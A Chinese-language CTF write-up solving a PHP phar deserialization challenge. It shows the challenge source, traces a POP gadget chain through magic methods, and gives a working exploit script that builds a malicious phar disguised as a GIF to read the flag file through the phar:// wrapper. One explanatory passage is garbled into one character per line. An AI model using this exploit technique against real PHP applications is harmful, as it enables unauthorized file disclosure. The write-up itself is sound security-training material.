概要
这是一道phar反序列化的题,之前并没有做过,总结下做题过程
分析过程
打开看到了上传文件的地方,一开始还以为是文件上传漏洞的题目,但发现了上传进行了严格的过滤。又看到了查看文件的地方,f12查看源代码
<!--flag is in f1ag.php-->
提示了Flag所在地方,看来是要读取这个文件的内容,直接在URL处进行传入,回显Hacker,应该是进行了过滤
尝试读取源代码,分别读取了file.php,function.php,index.php,class.php
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
关键代码都在上面,对源代码进行分析,首先文件读取处的确对flag关键词进行了过滤,无法进行直接读取,考虑unserialize反序列化漏洞,但看了一圈,也没有看到这个函数,在class.php中有一个注释,
//$this->source = phar://phar.jpg
这里有phar协议,看了下其他函数也并没有对phar进行过滤,这里应该就是使用phar协议来做题。
Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面,配合phar://协议使用。
尝试构造pop链
C1e4r类 __destruct在类被销毁的时候自动调用
echo $this->test;
Show类中有__toString 当类被当成字符串处理时候会自动调用
$content = $this->str['str']->source;
return $content;
这里会调用 $this->str[‘str’]->source;
当调用不可用对象的属性时会调用__get 魔术方法
在Test类中正好有这个类
public function __get($key)
{
return
t
h
i
s
−
>
g
e
t
(
this->get(
this−>get(key);
}
这里的整体逻辑是C1e4r类的解构函数,然后echo,然后令$this->test=show
就会调用show类中__toString方法,在这个方法中
$content =
t
h
i
s
−
>
s
t
r
[
′
s
t
r
′
]
−
>
s
o
u
r
c
e
;
这里访问不存在的属性,调
用
G
e
t
方法而在这个方法中有
f
i
l
e
g
e
t
c
o
n
t
e
n
t
s
(
this->str['str']->source;这里访问不存在的属性,调用_Get方法 而在这个方法中有file_get_contents(
this−>str[′str′]−>source;这里访问不存在的属性,调用Get方法而在这个方法中有filegetcontents(value),达到读取Flag.php的效果。
附上exp:
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a=new C1e4r();
$b=new Show();
$c=new Test();
$c->params['source'] = "/var/www/html/f1ag.php";
$a->str=$b;
$a->str->str['str']=$c;
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($a); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();
?>
运行这个PHP就可以生成一个char文件,这里有一个小坑,生成phar文件需要修改php.ini中的配置,将phar.readonly设置为Off,由于上传文件的时候对文件的后缀进行了过滤,所以不能使用传统的phar后缀,因为生成的phar文件是可以随意改后缀的,所以将文件后缀改成gif,上传上去。
在这里本来是要进行对目录名进行计算的,因为上传上去的文件名是进行了重命名的,但是这道题,直接访问/upload目录,里面显示了文件名,
所以直接复制你上传文件的文件名就可以了,然后在查看文件的地方
http://4231b69f-7d8c-4b8e-b945-5fe64044b501.node4.buuoj.cn:81/file.php?file=phar://upload/bedb893629376fc4b9cb7c69a0a47889.jpg
可以看到base64编码的内容,解码后看到flag